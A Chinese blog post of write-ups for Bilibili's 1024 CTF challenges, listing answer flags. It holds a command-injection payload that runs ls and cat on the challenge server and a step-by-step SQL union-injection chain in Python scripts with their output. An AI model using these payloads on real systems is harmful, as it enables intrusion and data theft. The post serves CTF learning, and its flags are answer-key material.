当爬虫工程师遇到 CTF丨B 站 1024 安全攻防题解
答案参考
- 第一题:
a1cd5f84-27966146-3776f301-64031bb9
- 第二题:
36c7a7b4-cda04af0-8db0368d-b5166480
- 第三题:
9d3c3014-6c6267e7-086aaee5-1f18452a
- 第四题:
3d5dd579-0678ef93-18b70cae-cabc5d51
- 第五题:
516834cc-50e448af-bcf9ed53-9ae4328e
- 第六题:
b13981f4-5ae996d4-bc04be5b-34662a78
- 第七题(部分 IP,可拿 10 分):
bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc
最近看到哔哩哔哩上线了一个 1024 程序员节的活动,其中有一个技术对抗赛,对抗赛又分为算法与安全答题和安全攻防挑战赛,其中安全攻防挑战赛里面有 7 个题,其中有 APP 逆向和解密的题目,作为爬虫工程师,逆向分析的技能也是必须要有的,于是 K 哥就以爬虫工程师的角度,尝试做了一下其中逆向相关的两个题,发现逆向不是很难,分享一下思路给大家。
(以爬虫工程师的角度分析安全攻防的题,网安大佬勿喷!部分题目解题思路来源于网安大佬)
- 部分网络安全题目可参考网安大佬首发思路:https://xingye.me/?p=389
- 1024 程序员节活动地址:https://www.bilibili.com/blackboard/20211024.html
- 安全攻防挑战赛地址:https://security.bilibili.com/sec1024/
第一题:加密解密
第一题就给了一串密文,什么提示也没有,作为爬虫工程师,K 哥熟练的打开了 F12,翻了翻源码,这里是一个 form 表单,method="post"
,下面还有一个 id 为 success 的 div 标签,于是初步怀疑是不是把密文解密后发送个 POST 请求,然后 flag 就会显示在这个 id 为 success 的 div 标签下呢?有了想法,K 哥就熟练的翻起了 JS 代码,因为我们爬虫遇到最多的就是 JS 加密嘛,然后发现就加载了 jQuery 和一个 common.js 文件,无论是搜索标签还是怎样,都没有什么有用的信息。
既然不存在 JS 加密,那应该就是硬解密文了,观察这是两段 48 位的密文,也有可能是一段 96 位的密文,而且没有 == 之类的特殊符号,那么就不可能是最简单的 MD5,不过 K 哥还是试了试,将其拆成 6 个 16 位、3 个 32 位等组合,发现都不是 MD5,于是又尝试了多种加密算法,一段作为 KEY,一段作为密文,或者整段组合成密文,SHA、HMAC、RC4 等算法都不行,再仔细观察网页,K 哥怀疑这个 happy_1024_2233 是不是也是加密的一部分呢?会不会是盐值(IV 值,也叫偏移量)?会不会它才是 KEY?结果多种尝试,最终才得出结论:
- 加密方式:AES 加密
- 加密模式:ECB
- 填充方式:无影响,都可以
- Key:happy_1024_2233
- 96 位密文:e9ca6f21583a1533d3ff4fd47ddc463c6a1c7d2cf084d3640408abca7deabb96a58f50471171b60e02b1a8dbd32db156
- 输出方式:Hex(十六进制)
解密结果(flag):a1cd5f84-27966146-3776f301-64031bb9
有关各种加密算法原理与实现可以查看 K 哥往期的文章:【爬虫知识】爬虫常见加密解密算法
第二题:前端配置项
第二题的 flag 是 36c7a7b4-cda04af0-8db0368d-b5166480
,就在 home.vue 页面的注释里,如下图所示:
第三题:最好的语言
第三题说 PHP 是世界上最好的语言,给了个 eval.php,如图所示:
本题解题思路来源于网安大佬,下载 eval.php,可以看到正则 /^\w+$/
,这个可以用结尾接换行符匹配,然后就可以换行用 Linux 命令了:
使用根目录命令 ls 一下,向 http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls 发送 GET 请求:
import requests url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=ls" response = requests.get(url=url) print(response.text)
返回内容:
1.txt passwd data config
flag 在 passwd 里,其他就不看了,所以直接使用 Linux 命令 cat passwd,向 http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd 发送 GET 请求:
import requests url = "http://security.bilibili.com/sec1024/q/pro/eval.php?args[]=1%0a&args[]=cat&args[]=passwd" response = requests.get(url=url) print(response.text)
返回 flag:9d3c3014-6c6267e7-086aaee5-1f18452a
第四题:SQL 注入
本题解题思路来源于网安大佬,给的网址和第二题一样,找一下网页上的按钮,点日志信息可看到日志请求,可以从日志 api 入手,抓包日志 api 为:https://security.bilibili.com/sec1024/q/admin/api/v1/log/list,绕过空格过滤尝试通过且回显,Python 发送 POST:
(PS:注意每次请求 user_name 字段的变化)
import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,5", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text)
返回内容:
{ "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "5", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" }
获取表名:
import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text)
返回内容,可以得到 flag、log、user:
{ "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "flag,log,user", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" }
获取 flag 表的字段,由于不能引号所以用十六进制绕过,flag 十六进制即 666c6167
:
import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text)
返回内容可以得到一个字段,id:
{ "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "id", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" }
最后直接拿下 flag:
import requests url = "https://security.bilibili.com/sec1024/q/admin/api/v1/log/list" json_data = { "user_id": "", "user_name": "1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#", "action": "", "page": 1, "size": 20 } response = requests.post(url=url, json=json_data) print(response.text)
返回内容 3d5dd579-0678ef93-18b70cae-cabc5d51
为 flag:
{ "code": 200, "data": { "res_list": [ { "action": "4", "id": "q", "time": "3d5dd579-0678ef93-18b70cae-cabc5d51", "user_id": "test@10.34.12.128", "user_name": "3" } ], "total": 1 }, "msg": "" }
第五题:APP 逆向
第五题是一个安卓逆向题,如图所示:
扔到模拟器看看,大概是输入账号密码,错误的话提示“还差一点点~~”,正确的话应该就能拿到 flag 了。
直接把 apk 扔到 JADX 里看看,没有混淆,代码一目了然,尤其这个 Encrypt 最为显眼:
分析代码:MainActivity.java 里,输入账号密码赋值给 obj 和 obj2,再依次调用 Encrypt.java 里的方法进行按位异或 3 的运算和 base64 编码,然后使用 Arrays.equals
方法将处理后的账号密码与正确的账号密码进行对比,正确就输出 bilibili- ( ゜- ゜)つロ 乾杯~,不是很复杂,可以使用 Java 复现,也可以使用 Python 逆向倒推正确的账号密码,使用 Python 复现的时候要注意,给出的正确账号密码是 Java 的两个字节数组,在 Python 中是没有字节数组这个概念的,Python 和 Java 字节的取值范围也不同,Python3 是 0~256
,Java 是 -127~128
,所以在转换的时候注意需要移动 256 位,Python 推导完整代码如下:
import base64 byte_arr1 = [78, 106, 73, 49, 79, 122, 65, 51, 89, 71, 65, 117, 78, 106, 78, 109, 78, 122, 99, 55, 89, 109, 85, 61] byte_arr2 = [89, 87, 66, 108, 79, 109, 90, 110, 78, 106, 65, 117, 79, 109, 74, 109, 78, 122, 65, 120, 79, 50, 89, 61] byte_arr1_ = bytes(b % 256 for b in byte_arr1) byte_arr2_ = bytes(b % 256 for b in byte_arr2) bs64_arr1 = base64.b64decode(byte_arr1_) bs64_arr2 = base64.b64decode(byte_arr2_) username = password = "" for i in range(len(bs64_arr1)): username += chr(bs64_arr1[i] ^ 3) for i in range(len(bs64_arr2)): password += chr(bs64_arr2[i] ^ 3) print("username: ", username) print("password: ", password) print("flag: ", username + "-" + password)
输出:
username: 516834cc-50e448af password: bcf9ed53-9ae4328e flag: 516834cc-50e448af-bcf9ed53-9ae4328e
在模拟器 APP 中输入账号密码测试成功:
第六题:IDA 逆向 SO
第五题和第六题题目虽然是一样的,但是 flag 不一样,第六题需要逆向 SO,会验证 abi 和系统版本,改 build.prop,ro.product.cpu.abi 为 x86,ro.build.version.release 为 9,然后再创建 /data/2233,4 byte 一组就会变成 flag:b13981f4-5ae996d4-bc04be5b-34662a78
第七题:风控恶意 IP
最后一题是找到所有的恶意 IP 后,通过通过英文逗号分隔成一个字符串后提交,系统会根据提交的 IP 正确数计算分数,这个题不知道具体怎么判断,K 哥尝试了使用 Python 把所有 IP 提取出来之后放到 Excel 里找出重复次数过多的 IP:
bba.ja.cca.beg,bba.ja.ccb.cbc,bbb.bb.bjd.bgc,bbb.bb.bjd.bha,bbb.bb.bjd.bhc,bbb.bb.bjd.bhf,bfh.ff.dj.bcf,bfh.ff.dj.bd,bfh.ff.dj.fb,bfh.ff.dj.ig,bfh.ff.dj.jf,cd.baf.cae.cbc,cd.bb.cai.cbh,cdd.bcc.bg.bib,cde.ced.bbb.dd,dc.bb.ii.jj,jj.bdc.bbb.cc
这个答案只得了 10 分,实际上好像只要有一个正确的就是 10 分,满分是 20 分,可能有错的或者少的,这个题肯定没这么简单,肯定还要利用其他判断方法的,比如判断 UA、Path、Referer、同一个 UA 不同 IP 多次访问等,如果有思路的大佬可以评论讲一下。
总结
部分题目比较简单,只不过没有提示,像第一题就需要熟练掌握各种加密算法才能很快推断出加密方式,否则只能一个一个去试了,剩下的题就需要一定的网络安全知识了,各位爬虫大佬们也可以去试试。

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
Android 游戏开发工具包热门问题解答
作者 / Android DevRel 技术主管经理 Wayne Lu 我们在 7 月发布了 Android 游戏开发工具包 (AGDK),并收集了一些开发者提出的热门问题,包括 AGDK 库和工具、Android 内存优化以及绘制图形等。 AGDK 和游戏引擎 首先,早期新兴的游戏开发者向我们提问如何使用此套 AGDK 库和工具。我们给出如下建议,具体则取决于您的设置: 如果您使用的是 Defold、Godot、Unity 或 Unreal 等 热门游戏引擎,您可以根据我们的指南,学习如何在 Android 上开发应用。使用这些游戏引擎可助您专注于构建游戏玩法而非整个技术栈。 如果您使用 Unreal 引擎且针对多个平台 (例如 PC 或主机),Android 游戏开发工具扩展包 (AGDE) 可能会对您的工作流程起到很好的补充效果。 我们还为想要自定义和编写自己游戏引擎的开发者提供支持,您可通过我们的 C 或 C++ 文档 了解详情。 选择游戏引擎和工作流程之后,您可以进一步研究我们的工具,例如可检查游戏的 Android Studio 性能剖析器、可分析图形的 Android G...
- 下一篇
如何搞定力扣刷题?
前言 大家好,我是bigsai,好久不见!今天就给各位小伙伴分享我自己刷题力扣的一些小方法,不一定很有用但是可以参考,祝你更高效的变强! 最近在一些群聊、私聊中遇到很多的一个问题就是:刷题,大家也都重视到算法刷题对冲击大厂的重要性,越来越多的人开始卷起来了! 但有的人是这样卷起来的,卷的自己都懵了。 今天,我就给偏初学者的各种问题谈谈个人刷力扣这方面的观点。 刷哪些题? 大家刷力扣,目标肯定就是为了冲击大厂的面试笔试,小部分就是为了坚持刷题保持感觉提升自己算法编程能力,那么你肯定要把重点内容先掌握,哪些是重点内容呢? 剑指offer: 首先是剑指offer(https://leetcode-cn.com/problem-list/xb9nqhhg/),剑指offer的优先级还是很高的,就业必刷。在牛客上和力扣平台上都可以刷剑指offer的题,但是我个人更推荐力扣这个平台,我第一次刷剑指offer就是和大家在牛客平台上刷的(虽然有点时间不知道还有没有人记得),但是前一段时间在力扣上刷剑指offer,有部分题(很少)把自己很久前的代码提交试了一下发现wa了。所以牛客测试数据相对还是比较弱的...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Red5直播服务器,属于Java语言的直播服务器
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- CentOS7设置SWAP分区,小内存服务器的救世主
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果
- SpringBoot2全家桶,快速入门学习开发网站教程
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- CentOS7编译安装Cmake3.16.3,解决mysql等软件编译问题
- CentOS7编译安装Gcc9.2.0,解决mysql等软件编译问题
- CentOS7安装Docker,走上虚拟化容器引擎之路
- Jdk安装(Linux,MacOS,Windows),包含三大操作系统的最全安装